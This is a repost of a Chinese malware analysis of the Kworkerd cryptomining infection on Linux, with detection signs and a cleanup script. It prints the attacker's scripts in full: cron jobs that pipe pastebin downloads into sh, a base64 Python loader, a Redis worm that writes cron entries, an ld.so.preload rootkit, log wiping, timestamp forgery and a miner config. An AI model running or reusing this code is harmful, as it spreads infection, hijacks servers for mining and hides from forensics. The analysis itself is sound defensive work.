转自:https://www.360zhijia.com/anquan/417114.html

0x01 快速特征排查

TOP显示CPU占用高,但是没有高占用的进程

存在与未知服务器13531端口建立的TCP连接

文件/etc/ld.so.preload中指向了/usr/local/lib/libntp.so

存在可疑执行base64编码的python进程

0x02 快速清除

  1. #!/bin/bash
  2. ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
  3. echo "" > /etc/cron.d/root
  4. echo "" > /etc/cron.d/system
  5. echo "" > /var/spool/cron/root
  6. echo "" > /var/spool/cron/crontabs/root
  7. rm -rf /etc/cron.hourly/oanacron
  8. rm -rf /etc/cron.daily/oanacron
  9. rm -rf /etc/cron.monthly/oanacron
  10. rm -rf /bin/httpdns
  11. sed -i '$d' /etc/crontab
  12. sed -i '$d' /etc/ld.so.preload
  13. rm -rf /usr/local/lib/libntp.so
  14. ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9
  15. rm -rf /tmp/.tmph
  16. rm -rf /bin/kworkerds
  17. rm -rf /tmp/kworkerds
  18. rm -rf /usr/sbin/kworkerds
  19. rm -rf /etc/init.d/kworker
  20. chkconfig --del kworker

0x03 细节行为分析

搜索引擎查找相关问题,也有不少人碰到,比如:

首先,CPU占用率100%,但是top命令查看,无法看到高占用��程,怀疑植入了rootkit。
查看crontab的内容,已经被写入了一个定时任务,每半小时左右会从pastebin上下载脚本并且执行(pastebin是任意上传分享的平台,攻击者借此实现匿名)
https://pastebin.com/raw/xbY7p5Tb
拿到xbY7p5Tb脚本内容如下:

  1. (curl -fsSL https://pastebin.com/raw/Gw7mywhC || wget -q-O- https://pastebin.com/raw/Gw7mywhC)|base64 -d |/bin/bash

脚本中再次下载了另一个脚本,并且对脚本内容进行base64解码后执行:

脚本主要逻辑提取内容如下(省略了一堆调用的函数):

  1. update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )
  2. if [ ${update}x = "update"x ];then
  3. echocron
  4. else
  5. if [ ! -f "/tmp/.tmph" ]; then
  6. rm -rf /tmp/.tmpg
  7. python
  8. fi
  9. kills
  10. downloadrun
  11. echocron
  12. system
  13. top
  14. sleep 10
  15. port=$(netstat -anp | grep :13531 | wc -l)
  16. if [ ${port} -eq 0 ];then
  17. downloadrunxm
  18. fi
  19. echo 0>/var/spool/mail/root
  20. echo 0>/var/log/wtmp
  21. echo 0>/var/log/secure
  22. echo 0>/var/log/cron
  23. fi
  24. #
  25. #
  26. #

该恶意脚本首先检查更新,如果有更新,执行echocron进行更新操作
https://pastebin.com/raw/TzBeq3AM

接着检查了/tmp/.tmph文件是否存在,如果存在则删除,并且执行python函数
名为Python的函数在脚本中为:

  1. function python() {
  2. nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
  3. touch /tmp/.tmph

其中执行的python代码经过了base64编码,解码后内容为:

  1. #coding: utf-8
  2. import urllib
  3. import base64
  4. d= 'https://pastebin.com/raw/nYBpuAxT'
  5. try:
  6. page=base64.b64decode(urllib.urlopen(d).read())
  7. exec(page)
  8. except:
  9. pass

这段python代码又从https://pastebin.com/raw/nYBpuAxT读取了内容,并且进行了执行:

再次base64解码后的最终代码内容如下,是一个针对redis的扫描攻击脚本,用于扩散感染:

  1. #! /usr/bin/env python
  2. #coding: utf-8
  3. import threading
  4. import socket
  5. from re import findall
  6. import httplib
  7. IP_LIST = []
  8. class scanner(threading.Thread):
  9. tlist = []
  10. maxthreads = 20
  11. evnt = threading.Event()
  12. lck = threading.Lock()
  13. def __init__(self,host):
  14. threading.Thread.__init__(self)
  15. self.host = host
  16. def run(self):
  17. try:
  18. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  19. s.settimeout(2)
  20. s.connect((self.host, 6379))
  21. s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')
  22. s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')
  23. s.send('config set dir /var/spool/cronrn')
  24. s.send('config set dbfilename rootrn')
  25. s.send('savern')
  26. s.close()
  27. except Exception as e:
  28. pass
  29. scanner.lck.acquire()
  30. scanner.tlist.remove(self)
  31. if len(scanner.tlist) < scanner.maxthreads:
  32. scanner.evnt.set()
  33. scanner.evnt.clear()
  34. scanner.lck.release()
  35. def newthread(host):
  36. scanner.lck.acquire()
  37. sc = scanner(host)
  38. scanner.tlist.append(sc)
  39. scanner.lck.release()
  40. sc.start()
  41. newthread = staticmethod(newthread)
  42. def get_ip_list():
  43. try:
  44. url = 'ident.me'
  45. conn = httplib.HTTPConnection(url, port=80, timeout=10)
  46. req = conn.request(method='GET', url='/', )
  47. result = conn.getresponse()
  48. ip2 = result.read()
  49. ips2 = findall(r'd+.d+.', ip2)[0][:-2]
  50. for u in range(0, 10):
  51. ip_list1 = (ips2 + (str(u)) +'.')
  52. for i in range(0, 256):
  53. ip_list2 = (ip_list1 + (str(i)))
  54. for g in range(0, 256):
  55. IP_LIST.append(ip_list2 + '.' + (str(g)))
  56. except Exception:
  57. pass
  58. def runPortscan():
  59. get_ip_list()
  60. for host in IP_LIST:
  61. scanner.lck.acquire()
  62. if len(scanner.tlist) >= scanner.maxthreads:
  63. scanner.lck.release()
  64. scanner.evnt.wait()
  65. else:
  66. scanner.lck.release()
  67. scanner.newthread(host)
  68. for t in scanner.tlist:
  69. t.join()
  70. if __name__ == "__main__":
  71. runPortscan()

上述攻击脚本中,关键代码如下,通过扫描redis的6379端口,如果没有做访问验证,则直接进行远程命令执行进行感染。

  1. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2. s.settimeout(2)
  3. s.connect((self.host, 6379))
  4. s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')
  5. s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')
  6. s.send('config set dir /var/spool/cronrn')
  7. s.send('config set dbfilename rootrn')
  8. s.send('savern')
  9. s.close()

主逻辑中的python函数执行完毕,接着执行主要逻辑代码:

  1. if [ ! -f "/tmp/.tmph" ]; then
  2. rm -rf /tmp/.tmpg
  3. python
  4. fi
  5. kills
  6. downloadrun
  7. echocron
  8. system
  9. top
  10. sleep 10
  11. port=$(netstat -anp | grep :13531 | wc -l)
  12. if [ ${port} -eq 0 ];then
  13. downloadrunxm
  14. fi
  15. echo 0>/var/spool/mail/root
  16. echo 0>/var/log/wtmp
  17. echo 0>/var/log/secure
  18. echo 0>/var/log/cron

kills函数主要是检查是否有其他挖矿等程序在运行,直接干掉,这里不做重点代码内容展示

downloadrun函数的内容如下,从thyrsi.com中下载了一个伪装为jpg的文件,保存为/tmp下的kworkerds并执行:

  1. function downloadrun() {
  2. ps=$(netstat -anp | grep :13531 | wc -l)
  3. if [ ${ps} -eq 0 ];then
  4. if [ ! -f "/tmp/kworkerds" ]; then
  5. curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
  6. if [ ! -f "/tmp/kworkerds" ]; then
  7. wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds
  8. fi
  9. nohup /tmp/kworkerds >/dev/null 2>&1 &
  10. else
  11. nohup /tmp/kworkerds >/dev/null 2>&1 &
  12. fi
  13. fi
  14. }

Kworkerds文件是挖矿本体程序,拿到后扔进virustotal检查结果:

接着执行echocron函数,该函数在各个定时任务文件中写入下载恶意脚本并执行的任务,并且清除相关日志,这样加大了清理的难度:

  1. echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/root
  2. echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/system
  3. echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/root
  4. mkdir -p /var/spool/cron/crontabs
  5. echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/crontabs/root
  6. mkdir -p /etc/cron.hourly
  7. curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
  8. if [ ! -f "/etc/cron.hourly/oanacron" ]; then
  9. wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
  10. fi
  11. mkdir -p /etc/cron.daily
  12. curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
  13. if [ ! -f "/etc/cron.daily/oanacron" ]; then
  14. wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
  15. fi
  16. mkdir -p /etc/cron.monthly
  17. curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
  18. if [ ! -f "/etc/cron.monthly/oanacron" ]; then
  19. wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
  20. fi
  21. touch -acmr /bin/sh /var/spool/cron/root
  22. touch -acmr /bin/sh /var/spool/cron/crontabs/root
  23. touch -acmr /bin/sh /etc/cron.d/system
  24. touch -acmr /bin/sh /etc/cron.d/root
  25. touch -acmr /bin/sh /etc/cron.hourly/oanacron
  26. touch -acmr /bin/sh /etc/cron.daily/oanacron
  27. touch -acmr /bin/sh /etc/cron.monthly/oanacron

之后执行system和top函数,system��数中下载了一个恶意的脚本文件放置在/bin目录下,并且写入定时任务。

  1. function system() {
  2. if [ ! -f "/bin/httpdns" ]; then
  3. curl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdns
  4. if [ ! -f "/bin/httpdns" ]; then
  5. wget https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdns
  6. fi
  7. if [ ! -f "/etc/crontab" ]; then
  8. echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
  9. else
  10. sed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
  11. fi
  12. fi
  13. }

其中httpdns的内容为:

改脚本再次下载了一个脚本进行执行,脚本内容与上面主脚本内容类似(删减了kills system top几个函数;增加了init函数,即下载执行挖矿程序):

Top函数主要进行了rootkit的行为。
函数将伪装为jpg的恶意链接库文件下载,首先放置在/usr/local/lib目录下,之后替换/etc/ld.so.preload文件,通过预加载劫持linux系统函数,使得top、ps等命令无法找到挖矿进程;

关于preload预加载恶意动态链接相关,可以阅读此文参考:

https://blog.csdn.net/aganlengzi/article/details/21824553

最后通过touch–acmr命令,掩盖刚刚执行的操作(使得文件存取时间和变动时间与/bin/sh的日期一致,避免被怀疑)

  1. function top() {
  2. mkdir -p /usr/local/lib/
  3. if [ ! -f "/usr/local/lib/libntp.so" ]; then
  4. curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
  5. if [ ! -f "/usr/local/lib/libntp.so" ]; then
  6. wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
  7. fi
  8. fi
  9. if [ ! -f "/etc/ld.so.preload" ]; then
  10. echo /usr/local/lib/libntp.so > /etc/ld.so.preload
  11. else
  12. sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload
  13. fi
  14. touch -acmr /bin/sh /etc/ld.so.preload
  15. touch -acmr /bin/sh /usr/local/lib/libntp.so

执行上述函数后,主脚本sleep10秒,判断是否与13531端口建立了连接,如果没有,则执行downloadrunxm函数(之后可以看到,13531是与连接的矿池端口)。
Downloadrunxm函数中,同样下载了一个伪装的jpg文件,另存为/bin/config.json,又再次下载了kworkerds并且执行:

  1. function downloadrunxm() {
  2. pm=$(netstat -anp | grep :13531 | wc -l)
  3. if [ ${pm} -eq 0 ];then
  4. if [ ! -f "/bin/config.json" ]; then
  5. curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json
  6. if [ ! -f "/bin/config.json" ]; then
  7. wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json
  8. fi
  9. fi
  10. if [ ! -f "/bin/kworkerds" ]; then
  11. curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds
  12. if [ ! -f "/bin/kworkerds" ]; then
  13. wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds
  14. fi
  15. nohup /bin/kworkerds >/dev/null 2>&1 &
  16. else
  17. nohup /bin/kworkerds >/dev/null 2>&1 &
  18. fi
  19. fi
  20. }

拿到的config.json的内容如下:

  1. {
  2. "algo": "cryptonight",
  3. "api": {
  4. "port": 0,
  5. "access-token": null,
  6. "worker-id": null,
  7. "ipv6": false,
  8. "restricted": true
  9. },
  10. "av": 0,
  11. "background": false,
  12. "colors": true,
  13. "cpu-affinity": null,
  14. "cpu-priority": null,
  15. "donate-level": 0,
  16. "huge-pages": true,
  17. "hw-aes": null,
  18. "log-file": null,
  19. "max-cpu-usage": 100,
  20. "pools": [
  21. {
  22. "url": "stratum+tcp://xmr.f2pool.com:13531",
  23. "user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig",
  24. "pass": "x",
  25. "rig-id": null,
  26. "nicehash": false,
  27. "keepalive": false,
  28. "variant": 1
  29. }
  30. ],
  31. "print-time": 60,
  32. "retries": 5,
  33. "retry-pause": 5,
  34. "safe": false,
  35. "threads": null,
  36. "user-agent": null,
  37. "watch": false
  38. }

连接的矿池为国内的f2pool.com鱼池:

0x04 样本收集分享

搜集遇到的恶意挖矿repo:
https://github.com/MRdoulestar/whatMiner

Kworkerd恶意挖矿分析的更多相关文章

  1. Web应急:门罗币恶意挖矿

    门罗币(Monero 或 XMR),它是一个非常注重于隐私.匿名性和不可跟踪的加密数字货币.只需在网页中配置好js脚本,打开网页就可以挖矿,是一种非常简单的挖矿方式,而通过这种恶意挖矿获取数字货币是黑 ...

  2. 20165223《网络对抗技术》Exp4 恶意代码分析

    目录 -- 恶意代码分析 恶意代码分析说明 实验任务目标 实验内容概述 schtasks命令使用 实验内容 系统运行监控 恶意软件分析 静态分析 virscan分析和VirusTotal分析 PEiD ...

  3. Exp4 恶意代码分析

    一.原理与实践说明 1. 实践目标 1.1 监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2 分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysin ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp4 恶意代码分析

    2018-2019-2 网络对抗技术 20165232 Exp4 恶意代码分析 1.实践目标 监控你自己系统的运行状态,看有没有可疑的程序在运行. 分析一个恶意软件,就分析Exp2或Exp3中生成后门 ...

  5. 2018-2019 20165237网络对抗 Exp4 恶意代码分析

    2018-2019 20165237网络对抗 Exp4 恶意代码分析 实验目标 1.1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2是分析一个恶意软件,就分析Exp2或Exp3中生成后 ...

  6. 2018-2019-2 20165234 《网络对抗技术》 Exp4 恶意代码分析

    实验四 恶意代码分析 实验目的 1.监控自己系统的运行状态,看有没有可疑的程序在运行. 2.分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysinternals ...

  7. 2018-2019-2 20165221『网络对抗技术』Exp4:恶意代码分析

    2018-2019-2 20165221『网络对抗技术』Exp4:恶意代码分析 实验要求: 是监控你自己系统的运行状态,看有没有可疑的程序在运行. 是分析一个恶意软件,就分析Exp2或Exp3中生成后 ...

  8. 2018-2019-2 20165325 网络对抗技术 Exp4 恶意代码分析

    2018-2019-2 20165325 网络对抗技术 Exp4 恶意代码分析 实验内容(概要) 一.系统(联网)运行监控 1. 使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,逐步排查并且 ...

  9. 2018-2019-2 网络对抗技术 20165206 Exp4 恶意代码分析

    - 2018-2019-2 网络对抗技术 20165206 Exp4 恶意代码分析 - 实验任务 1系统运行监控(2分) (1)使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP ...

随机推荐

  1. .bat批处理添加Python任务

    一.常用命令含义 例一.多进程python 任务  --  start 命令 @echo offstart python C:\Users\ntitled\n\update_restt\test_ba ...

  2. 039 在weblogic下部署jndi的多数据源

    这个问题,在公司遇到了,一直没有学,今天学了一下. 后续,还要实验一下,暂时粘贴一下一个不错的url:https://www.cnblogs.com/xdp-gacl/p/4201094.html

  3. javaNIO的总结

    放大1.5倍查看 使用NIO对文件进行COPY操作 public class TestNIOCopyFile { public static void main(String[] args) thro ...

  4. POJ 3237 Tree 【树链剖分】+【线段树】

    <题目链接> 题目大意: 给定一棵树,该树带有边权,现在对该树进行三种操作: 一:改变指定编号边的边权: 二:对树上指定路径的边权全部取反: 三:查询树上指定路径的最大边权值. 解题分析: ...

  5. PostgreSQL 创建触发器 Trigger

    触发器的知识点: PostgreSQL在以下情况下执行/调用触发器:在尝试操作之前(在检查约束并尝试INSERT,UPDATE或DELETE之前).或者在操作完成后(在检查约束并且INSERT,UPD ...

  6. SpringMVC(二五) JSTL View

    项目中使用JSTL,SpringMVC会把视图由InternalView转换为JstlView. 若使用Jstl的fmt标签,需要在SpringMVC的配置文件中配置国际化资源文件. 实现过程: 1. ...

  7. PTA 5-3 解题报告

    GitHub 问题描述 解题思路 代码 问题描述 5-3 计算平均值 (50分) 现在为若干组整数分别计算平均值. 已知这些整数的绝对值都小于100,每组整数的数量不少于1个,不大于20个. 输入格式 ...

  8. js几个经典的题目详解

    直接看题目,先不要急着看答案 先自己思考,收获更多 一 var out = 25, inner = { out: 20, func: function () { var out = 30; retur ...

  9. [Python] dict对象的keys()和values()返回的值,是否总是保证一一对应?

    搜dict的key, value顺序, 中文没搜到想要的结果. 英文答案链接:python-dictionary-are-keys-and-values-always-the-same-order 在 ...

  10. 洛谷.3808/3796.[模板]AC自动机

    题目链接:简单版,增强版 简单版: #include <cstdio> #include <cstring> const int N=1e6+5,S=26; char s[N] ...